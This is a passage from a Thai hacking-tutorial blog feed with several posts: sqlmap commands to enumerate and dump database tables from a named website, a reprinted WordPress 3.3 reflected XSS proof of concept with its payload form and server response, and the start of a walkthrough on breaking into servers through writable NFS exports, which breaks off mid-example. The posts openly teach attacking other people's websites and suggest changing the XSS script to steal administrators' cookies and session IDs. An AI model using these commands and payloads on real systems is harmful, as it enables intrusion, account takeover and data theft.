&lt;code class=&quot;bash plain&quot;&gt;.&lt;/code&gt;&lt;code class=&quot;bash plain&quot;&gt;/sqlmap&lt;/code&gt;&lt;code class=&quot;bash plain&quot;&gt;.py -u &lt;/code&gt;&lt;code class=&quot;bash string&quot;&gt;&quot;&lt;a href=&quot;http://www.stephack.com/index.php?bug=31337&amp;amp;test=hack_you&quot;&gt;http://www.stephack.com/index.php?bug=31337&amp;amp;test=hack_you&lt;/a&gt;&quot;&lt;/code&gt; &lt;code class=&quot;bash plain&quot;&gt;-D DATABASE -T TABLE --columns&lt;/code&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;hr /&gt;
6) dump &amp;lt;DATA&amp;gt; ที่อยู่ใน &amp;lt;COLUMN&amp;gt; จาก &amp;lt;DATABASE&amp;gt;&lt;br /&gt;
&lt;div&gt;
&lt;div class=&quot;syntaxhighlighter  bash&quot; id=&quot;highlighter_436947&quot;&gt;
&lt;div class=&quot;toolbar&quot;&gt;
&lt;a class=&quot;toolbar_item command_help help&quot; href=&quot;http://www.blogger.com/blogger.g?blogID=2982753419959124282#&quot;&gt;?&lt;/a&gt;&lt;/div&gt;
&lt;table border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;div class=&quot;line number1 index0 alt2&quot;&gt;
1&lt;/div&gt;
&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;div class=&quot;container&quot;&gt;
&lt;div class=&quot;line number1 index0 alt2&quot;&gt;
&lt;code class=&quot;bash plain&quot;&gt;.&lt;/code&gt;&lt;code class=&quot;bash plain&quot;&gt;/sqlmap&lt;/code&gt;&lt;code class=&quot;bash plain&quot;&gt;.py -u &lt;/code&gt;&lt;code class=&quot;bash string&quot;&gt;&quot;&lt;a href=&quot;http://www.stephack.com/index.php?bug=31337&amp;amp;test=hack_you&quot;&gt;http://www.stephack.com/index.php?bug=31337&amp;amp;test=hack_you&lt;/a&gt;&quot;&lt;/code&gt; &lt;code class=&quot;bash plain&quot;&gt;-D DATABASE -T TABLE -C DATA1,DATA2,DATA3 --dump&lt;/code&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;
===================&lt;br /&gt;
&lt;span style=&quot;color: #339966;&quot;&gt;* &amp;lt;DATABASE&amp;gt; เช่น mysql projectX wordpress&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #339966;&quot;&gt;** &amp;lt;TABLE&amp;gt; เช่น members topic&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #339966;&quot;&gt;*** &amp;lt;COLUMN&amp;gt; เช่น id name password&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #339966;&quot;&gt;*** &amp;lt;DATA_N&amp;gt; เช่น &quot;id,name,password&quot;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #339966;&quot;&gt;**** รู้สึก -(- หนึ่งอัน) กับ -- (- สองอัน) จะมองไม่ออกเลยแฮะ _ _&#39;&#39;&lt;/span&gt;&lt;br /&gt;
====================&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
รูปตัวอย่างการโดน SQL Injection&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://m.ak.fbcdn.net/sphotos-c.ak/hphotos-ak-prn2/p480x480/1375677_535170163223796_2043371635_n.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;295&quot; src=&quot;https://m.ak.fbcdn.net/sphotos-c.ak/hphotos-ak-prn2/p480x480/1375677_535170163223796_2043371635_n.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
ขอบคุณภาพ จาก สมาชิกเพจ &lt;br /&gt;
====================&lt;br /&gt;
&lt;h1&gt;
&lt;span style=&quot;color: red;&quot;&gt;ปล. วิธีแฮก ?... เรื่องง่ายๆ ถ้ามีคนสอน&lt;/span&gt;&lt;/h1&gt;
&lt;h1&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-weight: normal;&quot;&gt;Cr: Windows98se จาก blog.Stephack.com&lt;/span&gt;&lt;/span&gt; &lt;/span&gt;&lt;/h1&gt;
&lt;/div&gt;
</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2982753419959124282/posts/default/6176759578756536335'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2982753419959124282/posts/default/6176759578756536335'/><link rel='alternate' type='text/html' href='http://kiss-hack.blogspot.com/2013/10/how-to-sqlmap.html' title='วิธีใช้ SQL Map แบบคร่าวๆ'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4BIcwZbdrmdplYQFu_dKfxSUH7O760YcWGUV0KMl10GhTsNKItPPjFANr_hjmPAd7lFWvomufQCPbbnam8PlnSHv45Hi76sZD8D4WXfNi7byj8eRpvSaygS_FdhqmKdNL5EYyoGWZL7y1/s72-c/images.jpg" height="72" width="72"/></entry><entry><id>tag:blogger.com,1999:blog-2982753419959124282.post-1302558134306793332</id><published>2013-10-21T09:07:00.001+07:00</published><updated>2013-10-21T09:17:39.316+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Hack"/><category scheme="http://www.blogger.com/atom/ns#" term="Hack Web"/><category scheme="http://www.blogger.com/atom/ns#" term="Linux"/><category scheme="http://www.blogger.com/atom/ns#" term="PHP เบื้องต้น"/><category scheme="http://www.blogger.com/atom/ns#" term="script"/><category scheme="http://www.blogger.com/atom/ns#" term="Tool"/><category scheme="http://www.blogger.com/atom/ns#" term="กลโกง Hacker Web"/><category scheme="http://www.blogger.com/atom/ns#" term="สอนHack"/><category scheme="http://www.blogger.com/atom/ns#" term="เขียนโปรแกรม"/><category scheme="http://www.blogger.com/atom/ns#" term="แฮกเว็บ"/><title type='text'>วิธีหา Exploit คร่าวๆ และ Exploit คืออะไร?</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrdakwOc02UyCRXsQuxlCn7F-co9G7-wxWiXBuVhVfU33SjgU_sRZ3NOap6UbuGbfZdewLT2bAW8O4Aj8kHcP9_2a6b6YehLPcUi22xXr-c7Vg0zOi71yF6OuN2ub5vF-3uGnKdkVziZIO/s1600/exploit.gif&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;200&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrdakwOc02UyCRXsQuxlCn7F-co9G7-wxWiXBuVhVfU33SjgU_sRZ3NOap6UbuGbfZdewLT2bAW8O4Aj8kHcP9_2a6b6YehLPcUi22xXr-c7Vg0zOi71yF6OuN2ub5vF-3uGnKdkVziZIO/s400/exploit.gif&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;Exploit คืออะไร ถ้าให้พูดตรงๆความหมาย มันก็คือ ช่องโหว่นั้นเอง&lt;br /&gt;&lt;br /&gt;Exploit&lt;/span&gt; เป็นคำที่มากจากภาษาฝรั่งเศสเกิดจากการที่เอาคำ 2 คำมาผสมกันมีความหมายว่า “achievement” หรือว่า “accomplishment” เป็นโปรแกรมที่ได้รับการออกแบบมาเพื่อให้ทำการเจาะระบบโดยอาศัย  ช่องโหว่ของ software, Hardware หรือช่องโหว่ต่างๆเพื่อที่จะเข้ามาทำการครอบครองหรือควบคุม computer เพื่อที่จะให้กระทำการบางอย่าง เช่น การขโมยข้อมูลหรือใช้ในการ denial of service attack&lt;br /&gt;
&lt;br /&gt;
Exploit นั้นมี 2 ประเภทนะครับ&lt;br /&gt;
&lt;br /&gt;
- remote exploit เป็นการทำงานโดยที่จะทำการเจาะระบบที่ได้รับการป้องกันที่ไม่ดีโดยอาศัยสิทธิที่มี มาก่อน&lt;br /&gt;
- local exploit เป็นการโจมตีที่ถ้าเข้ามาในระบบได้แล้วจะทำการเพิ่มสิทธิต่างๆเข้ามาใน User ที่เราได้สร้างเอาไว้โดยอาศัยความช่วยเหลือของ system administrator&lt;br /&gt;
&lt;br /&gt;
โดยปกติพวกเราจะใช้เครื่องมือในการใช้งานเช่น metasploit หรือใช้ armitage หรือ etc ในการใช้งานเพื่อให้ดูง่ายๆ เป็น GUI ส่วนพวก exploit นั้นก็สามารถหาได้อย่างง่ายดายในโลก internet เช่น 1337day,exploit-db,...etc&lt;br /&gt;
&lt;br /&gt;
วันนี้ผมจะมาแนะนำ exploit ของ cms ชื่อดังอย่าง wordpress v3.3 ที่เพิ่งออกมาใหม่แท้ๆ โดนเสียและ&lt;br /&gt;
&lt;br /&gt;
exploit ตัวนี้คือ Zero Day Reflected XSS vulnerability ช่องโหว่นี้อยู่ในส่วน comment ของ WP3.3  ป.ล XSS = cross site script&lt;br /&gt;
&lt;br /&gt;
# Exploit Title: Reflected Cross Site Scripting in wordpress 3.3&lt;br /&gt;
# Google Dork: &quot;Proudly powered by WordPress&quot;&lt;br /&gt;
# Date: 2.Jan.2012&lt;br /&gt;
# Author: Aditya Modha, Samir Shah&lt;br /&gt;
# Software Link: &lt;a href=&quot;http://citecclub.org/forum/redirector.php?url=http%3A%2F%2Fwww.wordpress.org%2Fdownload%2F&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;WordPress › Download&lt;/a&gt;&lt;br /&gt;
# Version: 3.3&lt;br /&gt;
# Tested on: apache&lt;br /&gt;
# CVE :  Nope.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Step 1: Post a comment to the target website&lt;br /&gt;
&amp;gt;&amp;gt;โพสต์คอมเม้นลงไปในเว็บเป้าหมาย&lt;br /&gt;
&lt;br /&gt;
Step 2: Replace the value of author tag, email tag, comment tag with the exact value of what has been post in the last comment. Change the value of comment_post_ID to the value of post (which can be known by opening that post and checking the value of p parameter in the url). For example the if the url is &lt;a href=&quot;http://127.0.0.1/wordpress/?p=6&quot; target=&quot;_blank&quot;&gt;http://127.0.0.1/wordpress/?p=6&lt;/a&gt; then the value of comment_post_ID is 6.&lt;br /&gt;
&amp;gt;&amp;gt; แก้ไขคค่าในส่วนของ value ของ author,email,comment,post id &lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;bbcode_container&quot;&gt;
&lt;div class=&quot;bbcode_description&quot;&gt;
HTML Code:&lt;/div&gt;
&lt;pre class=&quot;bbcode_code&quot; style=&quot;height: 20*12px};&quot;&gt;&lt;span style=&quot;color: navy;&quot;&gt;&amp;lt;html&amp;gt;&lt;/span&gt;
&lt;span style=&quot;color: navy;&quot;&gt;&amp;lt;title&amp;gt;&lt;/span&gt;Wordpress 3.3 XSS PoC&lt;span style=&quot;color: navy;&quot;&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;

&lt;span style=&quot;color: navy;&quot;&gt;&amp;lt;body&amp;gt;&lt;/span&gt;

&lt;span style=&quot;color: #ff8000;&quot;&gt;&amp;lt;form name=&lt;span style=&quot;color: blue;&quot;&gt;&quot;XSS&quot;&lt;/span&gt; id=&lt;span style=&quot;color: blue;&quot;&gt;&quot;XSS&quot;&lt;/span&gt; action=&lt;span style=&quot;color: blue;&quot;&gt;&quot;http://127.0.0.1/wordpress/wp-comments-post.php?&amp;lt;/style&amp;gt;&amp;lt;script&amp;gt;document.write(Date())&amp;lt;/script&amp;gt;&amp;lt;style&amp;gt;&quot;&lt;/span&gt; method=&lt;span style=&quot;color: blue;&quot;&gt;&quot;POST&quot;&lt;/span&gt;&amp;gt;&lt;/span&gt;
&lt;span style=&quot;color: #ff8000;&quot;&gt;&amp;lt;input type=&lt;span style=&quot;color: blue;&quot;&gt;&quot;hidden&quot;&lt;/span&gt; name=&lt;span style=&quot;color: blue;&quot;&gt;&quot;author&quot;&lt;/span&gt; value=&lt;span style=&quot;color: blue;&quot;&gt;&quot;แก้ไข&quot;&lt;/span&gt;&amp;gt;&lt;/span&gt;
&lt;span style=&quot;color: #ff8000;&quot;&gt;&amp;lt;input type=&lt;span style=&quot;color: blue;&quot;&gt;&quot;hidden&quot;&lt;/span&gt; name=&lt;span style=&quot;color: blue;&quot;&gt;&quot;email&quot;&lt;/span&gt; value=&lt;span style=&quot;color: blue;&quot;&gt;&quot;แก้ไข&quot;&lt;/span&gt;&amp;gt;&lt;/span&gt;
&lt;span style=&quot;color: #ff8000;&quot;&gt;&amp;lt;input type=&lt;span style=&quot;color: blue;&quot;&gt;&quot;hidden&quot;&lt;/span&gt; name=&lt;span style=&quot;color: blue;&quot;&gt;&quot;url&quot;&lt;/span&gt; value=&lt;span style=&quot;color: blue;&quot;&gt;&quot;&quot;&lt;/span&gt;&amp;gt;&lt;/span&gt;
&lt;span style=&quot;color: #ff8000;&quot;&gt;&amp;lt;input type=&lt;span style=&quot;color: blue;&quot;&gt;&quot;hidden&quot;&lt;/span&gt; name=&lt;span style=&quot;color: blue;&quot;&gt;&quot;comment&quot;&lt;/span&gt; value=&lt;span style=&quot;color: blue;&quot;&gt;&quot;แก้ไข&quot;&lt;/span&gt;&amp;gt;&lt;/span&gt;
&lt;span style=&quot;color: #ff8000;&quot;&gt;&amp;lt;input type=&lt;span style=&quot;color: blue;&quot;&gt;&quot;hidden&quot;&lt;/span&gt; name=&lt;span style=&quot;color: blue;&quot;&gt;&quot;submit&quot;&lt;/span&gt; value=&lt;span style=&quot;color: blue;&quot;&gt;&quot;Post Comment&quot;&lt;/span&gt;&amp;gt;&lt;/span&gt;
&lt;span style=&quot;color: #ff8000;&quot;&gt;&amp;lt;input type=&lt;span style=&quot;color: blue;&quot;&gt;&quot;hidden&quot;&lt;/span&gt; name=&lt;span style=&quot;color: blue;&quot;&gt;&quot;comment_post_ID&quot;&lt;/span&gt; value=&lt;span style=&quot;color: blue;&quot;&gt;&quot;แก้ไข&quot;&lt;/span&gt;&amp;gt;&lt;/span&gt;
&lt;span style=&quot;color: #ff8000;&quot;&gt;&amp;lt;input type=&lt;span style=&quot;color: blue;&quot;&gt;&quot;hidden&quot;&lt;/span&gt; name=&lt;span style=&quot;color: blue;&quot;&gt;&quot;comment_parent&quot;&lt;/span&gt; value=&lt;span style=&quot;color: blue;&quot;&gt;&quot;0&quot;&lt;/span&gt;&amp;gt;&lt;/span&gt;
&lt;span style=&quot;color: #ff8000;&quot;&gt;&amp;lt;input type=&lt;span style=&quot;color: blue;&quot;&gt;&quot;button&quot;&lt;/span&gt; value=&lt;span style=&quot;color: blue;&quot;&gt;&quot;Click Me&quot;&lt;/span&gt; /&amp;gt;&lt;/span&gt;
&lt;span style=&quot;color: #ff8000;&quot;&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;

&lt;span style=&quot;color: navy;&quot;&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span style=&quot;color: navy;&quot;&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;&lt;/pre&gt;
&lt;/div&gt;
Step 3: Publish the above html file on the web server and access it. Click on &quot;Click Me&quot; button. This will try to post the comment to wordpress which will flag this comment as duplicate comment with the 500 Internal server error response. Here our XSS payload will get executed. Check wordpress_3.3_xss.png file. &lt;br /&gt;
&amp;gt;&amp;gt; เผยแพร่ไฟล์ HTML ดังกล่าวข้างต้นลงบนเว็บเซิร์ฟเวอร์และเข้าถึงได้ คลิกที่&quot;Click Me&quot; นี้จะพยายามที่จะแสดงความคิดเห็นเพื่อการใช้งานซึ่งจะเห็นธงนี้เป็นความคิดเห็นที่ซ้ำกัน  กับการตอบสนองต่อข้อผิดพลาด 500 Internal server error response ที่นี่ payload XSS ของเราจะได้รับการดำเนิน ตรวจสอบแฟ้ม wordpress_3.3_xss.png&lt;br /&gt;
&lt;br /&gt;
Step 4: The response code where XSS payload reflects is given below&lt;br /&gt;
&amp;gt;&amp;gt; ลักษณะของการโต้ตอบกลับ เมือ XSS payload ส่งผลดังข้อมูลด้านล่าง&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;bbcode_container&quot;&gt;
&lt;div class=&quot;bbcode_description&quot;&gt;
HTML Code:&lt;/div&gt;
&lt;pre class=&quot;bbcode_code&quot; style=&quot;height: 32*12px};&quot;&gt;&lt;span style=&quot;color: navy;&quot;&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;
&lt;i&gt;&lt;span style=&quot;color: navy;&quot;&gt;&amp;lt;!-- Ticket #11289, IE bug fix: always pad the error page with enough characters such that it is greater than 512 bytes, even after gzip compression abcdefghijklmnopqrstuvwxyz1234567890aabbccddeeffgghhiijjkkllmmnnooppqqrrssttuuvvwwxxyyzz11223344556677889900abacbcbdcdcededfefegfgfhghgihihjijikjkjlklkmlmlnmnmononpopoqpqprqrqsrsrtstsubcbcdcdedefefgfabcadefbghicjkldmnoepqrfstugvwxhyz1i234j567k890laabmbccnddeoeffpgghqhiirjjksklltmmnunoovppqwqrrxsstytuuzvvw0wxx1yyz2z113223434455666777889890091abc2def3ghi4jkl5mno6pqr7stu8vwx9yz11aab2bcc3dd4ee5ff6gg7hh8ii9j0jk1kl2lmm3nnoo4p5pq6qrr7ss8tt9uuvv0wwx1x2yyzz13aba4cbcb5dcdc6dedfef8egf9gfh0ghg1ihi2hji3jik4jkj5lkl6kml7mln8mnm9ono
--&amp;gt;&lt;/span&gt;&lt;/i&gt;
&lt;span style=&quot;color: navy;&quot;&gt;&amp;lt;html xmlns=&lt;span style=&quot;color: blue;&quot;&gt;&quot;http://www.w3.org/1999/xhtml&quot;&lt;/span&gt; dir=&lt;span style=&quot;color: blue;&quot;&gt;&quot;ltr&quot;&lt;/span&gt; lang=&lt;span style=&quot;color: blue;&quot;&gt;&quot;en-US&quot;&lt;/span&gt;&amp;gt;&lt;/span&gt;
&lt;span style=&quot;color: navy;&quot;&gt;&amp;lt;head&amp;gt;&lt;/span&gt;
 &lt;span style=&quot;color: navy;&quot;&gt;&amp;lt;meta http-equiv=&quot;Content-Type&quot; content=&lt;span style=&quot;color: blue;&quot;&gt;&quot;text/html; charset=utf-8&quot;&lt;/span&gt; /&amp;gt;&lt;/span&gt;
 &lt;span style=&quot;color: navy;&quot;&gt;&amp;lt;title&amp;gt;&lt;/span&gt;WordPress &lt;b&gt;&lt;i&gt;&amp;amp;rsaquo;&lt;/i&gt;&lt;/b&gt; Error&lt;span style=&quot;color: navy;&quot;&gt;&amp;lt;/title&amp;gt;&lt;/span&gt;
 &lt;span style=&quot;color: purple;&quot;&gt;&amp;lt;style type=&lt;span style=&quot;color: blue;&quot;&gt;&quot;text/css&quot;&lt;/span&gt;&amp;gt;&lt;/span&gt;
  html {
   background: #f9f9f9;
  }
  body {
   background: #fff;
   color: #333;
   font-family: sans-serif;
   margin: 2em auto;
   padding: 1em 2em;
   -webkit-border-radius: 3px;
   border-radius: 3px;
   border: 1px solid #dfdfdf;
   max-width: 700px;
  }
  #error-page {
   margin-top: 50px;
  }
  #error-page p {
   font-size: 14px;
   line-height: 1.5;
   margin: 25px 0 20px;
  }
  #error-page code {
   font-family: Consolas, Monaco, monospace;
  }
  ul li {
   margin-bottom: 10px;
   font-size: 14px ;
  }
  a {
   color: #21759B;
   text-decoration: none;
  }
  a:hover {
   color: #D54E21;
  }

  .button {
   font-family: sans-serif;
   text-decoration: none;
   font-size: 14px !important;
   line-height: 16px;
   padding: 6px 12px;
   cursor: pointer;
   border: 1px solid #bbb;
   color: #464646;
   -webkit-border-radius: 15px;
   border-radius: 15px;
   -moz-box-sizing: content-box;
   -webkit-box-sizing: content-box;
   box-sizing: content-box;
  }

  .button:hover {
   color: #000;
   border-color: #666;
  }

  .button {
   background: #f2f2f2 url(http://127.0.0.1/wordpress/wp-comments-post.php?&lt;span style=&quot;color: purple;&quot;&gt;&amp;lt;/style&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;&amp;lt;script&amp;gt;&lt;/span&gt;document.write(Date())&lt;span style=&quot;color: maroon;&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: purple;&quot;&gt;&amp;lt;style&amp;gt;&lt;/span&gt;/wp-admin/images/white-grad.png) repeat-x scroll left top;
  }

  .button:active {
   background: #eee url(http://127.0.0.1/wordpress/wp-comments-post.php?&lt;span style=&quot;color: purple;&quot;&gt;&amp;lt;/style&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: maroon;&quot;&gt;&amp;lt;script&amp;gt;&lt;/span&gt;document.write(Date())&lt;span style=&quot;color: maroon;&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: purple;&quot;&gt;&amp;lt;style&amp;gt;&lt;/span&gt;/wp-admin/images/white-grad-active.png) repeat-x scroll left top;
  }
   &lt;span style=&quot;color: purple;&quot;&gt;&amp;lt;/style&amp;gt;&lt;/span&gt;
&lt;span style=&quot;color: navy;&quot;&gt;&amp;lt;/head&amp;gt;&lt;/span&gt;
&lt;span style=&quot;color: navy;&quot;&gt;&amp;lt;body id=&lt;span style=&quot;color: blue;&quot;&gt;&quot;error-page&quot;&lt;/span&gt;&amp;gt;&lt;/span&gt;
 &lt;span style=&quot;color: navy;&quot;&gt;&amp;lt;p&amp;gt;&lt;/span&gt;Duplicate comment detected; it looks as though you’ve already said that!&lt;span style=&quot;color: navy;&quot;&gt;&amp;lt;/p&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: navy;&quot;&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span style=&quot;color: navy;&quot;&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
ผลที่ได้ &lt;a href=&quot;http://citecclub.org/forum/attachments/ethical-hacking-padawan-121/1542-%E0%B8%A7%E0%B8%B1%E0%B8%99%E0%B8%99%E0%B8%B5%E0%B9%89%E0%B8%9C%E0%B8%A1%E0%B8%88%E0%B8%B0%E0%B8%A1%E0%B8%B2%E0%B9%81%E0%B8%99%E0%B8%B0%E0%B8%99%E0%B8%B3-exploit-%E0%B8%84%E0%B8%B7%E0%B8%AD%E0%B8%AD%E0%B8%B0%E0%B9%84%E0%B8%A3-wordpress_3.3_xss.png&quot; title=&quot;Name:  
Views: 
Size:  &quot;&gt;Attachment 1542&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
แล้วถ้าการปะยุกต์ ถ้าเกิดปรับเปลี่ยน javascript ให้รับค่า cookies , session id ,etc ล่ะ ผลที่ได้ อาจไม่สวยนัก ถ้าคนที่ตกเป็นเหยื่อ victim คือ เจ้าของเว็บ หรือ ผู้ที่มีสิทธิ เช่น administrator อาจก่อให้เกิดความเสียหายได้&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;ข้อมูลจาก : &lt;a href=&quot;http://citecclub.org/&quot;&gt;http://citecclub.org&lt;/a&gt;&lt;/span&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2982753419959124282/posts/default/1302558134306793332'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2982753419959124282/posts/default/1302558134306793332'/><link rel='alternate' type='text/html' href='http://kiss-hack.blogspot.com/2013/10/exploit-exploit.html' title='วิธีหา Exploit คร่าวๆ และ Exploit คืออะไร?'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrdakwOc02UyCRXsQuxlCn7F-co9G7-wxWiXBuVhVfU33SjgU_sRZ3NOap6UbuGbfZdewLT2bAW8O4Aj8kHcP9_2a6b6YehLPcUi22xXr-c7Vg0zOi71yF6OuN2ub5vF-3uGnKdkVziZIO/s72-c/exploit.gif" height="72" width="72"/></entry><entry><id>tag:blogger.com,1999:blog-2982753419959124282.post-6410411261799826866</id><published>2013-10-20T08:16:00.002+07:00</published><updated>2013-10-20T08:23:43.945+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Hack"/><category scheme="http://www.blogger.com/atom/ns#" term="Hack Web"/><category scheme="http://www.blogger.com/atom/ns#" term="PHP เบื้องต้น"/><category scheme="http://www.blogger.com/atom/ns#" term="script"/><category scheme="http://www.blogger.com/atom/ns#" term="กลโกง Hacker Web"/><category scheme="http://www.blogger.com/atom/ns#" term="สอนHack"/><category scheme="http://www.blogger.com/atom/ns#" term="แฮกเว็บ"/><title type='text'>การ Hack ด้วย Remote Exploit</title><content type='html'>&lt;div id=&quot;page-content&quot;&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0xzAzHI3iqeoHdrf1R2BwOAQidO9cUJX4Yvogq7Bf2oIAnZ3EQl8L3a46zAmkYXFKoLtpOYYWM4CEmau8yyr9SElekPH_bntsuQeBsB13KDXC0ADIO4fepNR2i-xTq_sbrBNxmL1sa1fS/s1600/exploit.gif&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;200&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0xzAzHI3iqeoHdrf1R2BwOAQidO9cUJX4Yvogq7Bf2oIAnZ3EQl8L3a46zAmkYXFKoLtpOYYWM4CEmau8yyr9SElekPH_bntsuQeBsB13KDXC0ADIO4fepNR2i-xTq_sbrBNxmL1sa1fS/s400/exploit.gif&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; เหมือนผมจะเคยอธิบายเกี่ยวกับการ Hack โดยอาศัย Exploit มาแล้วแต่จำไม่ได้ว่า อธิบายให้ใครฟัง (ก็คงจะเป็นพวกที่เรียนคอร์ด Hack นั้นละ) ในการ hack นั้นเรา ต้องการจะ Hack เว็บใครซักเว็บ อันดับแรกเราต้องรู้ว่า Exploit เว็บนั้นคืออะไร ถ้าเป็น CMS ฟรี สามารถหาโหลดตาม Google มานั่งแกะหา ช่องโหว่ดู ถ้าขี้เกียจหน่อยก็จะค้นเอาใน Google ในบทความนี้ก็จะอธิบาย การเจาะระบบด้วย Remote นั้นเป็นยังไง พวก RCE ( Remote Code Exploit )&lt;br /&gt;
&lt;br /&gt;
อะไรคือการเจาะระบบแบบ remote ?&lt;br /&gt;
&lt;br /&gt;
การเจาะระบบแบบ remote 
เกิดขึ้นเมื่อคุณโจมตีเซิร์ฟเวอร์ที่คุณไม่ได้ล๊อกอินเข้าไป 
โดยโจมตีจากเซิร์ฟเวอร์อื่น 
ถึงแม้ว่าในบางกรณีคุณสามารถโจมตีจากเครื่องพีซีทั่ว ๆ ไป 
(ขึ้นอยู่กับระบบปฏิบัติการ)&lt;br /&gt;
การเดาแอกเคาท์ของยูสเซอร์และรหัสผ่าน (ยกเว้นแต่ว่ามีแอกเคาท์ guest) 
ในระบบอื่นไม่ถือว่าเป็นการเจาะแบบ remote เราจะสมมุติว่า 
คุณไม่รู้ชื่อแอกเคาท์และรหัสผ่านในระบบอื่น&lt;br /&gt;
การ เจาะระบบแบบ remote แบ่งเป็นสองประเภท 
โดยมักจะเป็นการเจาะโดยอาศัยช่องโหว่ที่มีในเซอร์วิสที่กำลังรันอยู่ใน 
เซิร์ฟเวอร์ที่ตกเป็นเหยื่อ 
(ที่มีการกำหนดค่าระบบไม่ถูกต้องหรือยอมให้มีการเข้าถึงมากเกินไป การ 
export NFS (network file system) mount แบบ read/write 
ให้ทุกคนสามารถเข้าถึงได้อาจไม่ใช่สิ่งที่ไม่เลวร้าย แต่ถ้าคุณสามารถ NFS 
mount ไดเร็กทอรีที่มีไฟล์ .rhosts ได้เป็นสิ่งที่เลวร้ายมาก นอกจากนี้ 
daemon ที่รันอยู่บางชนิดอาจมีปัญหาที่อาจถูกโจมตีแบบ buffer overflow แบบ 
remote ได้ 
ยอมให้ใครบางคนจากเซิร์ฟเวอร์อื่นสามารถใช้คำสั่งในเครื่องที่ตกเป็นเป้า 
หมายได้ตามต้องการ&lt;br /&gt;
ต่อไปนี้เป็นตัวอย่างสองตัวอย่างด้วยกัน&lt;br /&gt;
- คุณเป็น root ในเครื่องที่ชื่อว่า badguy&lt;br /&gt;
- คุณค้นพบว่าโฮสต์เป้าหมาย export /home2/old เป็นแบบ read/write ให้ทุกคนสามารถเข้าถึงได้&lt;br /&gt;
